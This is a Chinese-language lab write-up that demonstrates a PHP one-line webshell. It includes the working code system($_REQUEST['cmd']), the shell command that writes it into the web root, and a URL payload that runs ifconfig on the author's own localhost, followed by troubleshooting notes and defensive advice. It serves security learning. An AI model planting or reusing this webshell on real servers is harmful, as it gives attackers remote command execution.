1.实验背景
在网络攻防中,“远程控制”是攻击者获取权限后的重要阶段WebShell(网页后门)实现这一目标的常见手段之一。本次实验旨在通过最基础的PHP代码,理解“一句话木马”的工作原理,并演示如何通过Web请求在目标服务器上执行系统命令。
2. 实验环境
网络:Kali Linux(既作为攻击机,也作为受害Web服务器)
Web服务:Apache HTTP服务器
工具:Firefox浏览器、终端终端
3.原理分析
本次实验的核心是一个非常简短的 PHP 脚本,被称为“一句话木马”:
<?php system($_REQUEST['cmd']);?>system()函数:这是PHP的内置函数,用于执行外部程序(系统命令),把执行结果直接输出到浏览器。$_REQUEST['cmd']:这是一个PHP超全局变量,用于收集通过URL(GET请求)或表单(POST请求)提交的数据。在这里,它负责接收攻击者传递的cmd参数。攻击逻辑: 攻击者访问 URL -> 提交cmd=ifconfig-> PHP 脚本接收参数 ->system在服务器执行函数ifconfig-> 结果回显给攻击者 ->实现远程控制 。
4.实验步骤
第一步:启动Web服务
由于Kali默认关闭Web服务,首先需要开启Apache:
sudo service apache2 start(注:上图第二个指令是验证服务是否开启的方法,如果看到绿色的active (running)字样,说明服务已经启动成功。)
第二步:配置木马文件
Web服务器的默认根目录位于/var/www/html/。我们需要在该目录下创建一个名为shell.php的文件。(注意:必须放在这个目录下,否则Web服务无法解析)
# 这里使用命令行直接写入,也可以用编辑器编写 sudo sh -c 'echo "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /var/www/html/shell.php'第三步:构造Payload进行攻击
打开浏览器,构造特定的URL对本地服务器发起“攻击”。
目标网址:
http://127.0.0.1/shell.phpPayload:
?cmd=ifconfig(Linux下查看网络配置的命令)
5. 踩坑与排错记录(故障排除)
在实验过程中,我遇到了以下两个典型的报错:
问题1:无法连接
现象:浏览器提示无法连接。
原因:我习惯性地在地址栏输入了
https://。但本地Apache默认只开启了80端口(HTTP),未配置SSL证书。解决:将协议改为
http://。
问题2:404未找到
现象:连接成功,但提示找不到文件。
原因:我将
shell.php直接写在桌面(Desktop)。Web服务器无权访问桌面,它只能读取/var/www/html/下的文件。解决:使用
mv命令将文件移动到正确目录:sudo mv ~/Desktop/shell.php /var/www/html/
6. 实验结果
再次修改上述问题后,访问http://127.0.0.1/shell.php?cmd=ifconfig,页面成功显示了服务器的网卡信息(eth0, lo等)。
(注:上图展示了利用漏洞成功获取服务器IP配置信息的过程,证明远程命令执行成功)
7.总结与安全警示
通过这个简单的实验,我深刻理解了Web应用漏洞的简单。只要有一行代码,如果没有被防火墙拦截或查杀,就可以让攻击者“反客为主”,轻松执行系统命令。
防御建议:在开发中应严格过滤用户输入,取消配置
system、exec等敏感函数,以及文件上传目录的执行权限。声明:本文仅作网络安全学习记录,禁止用于非法用途。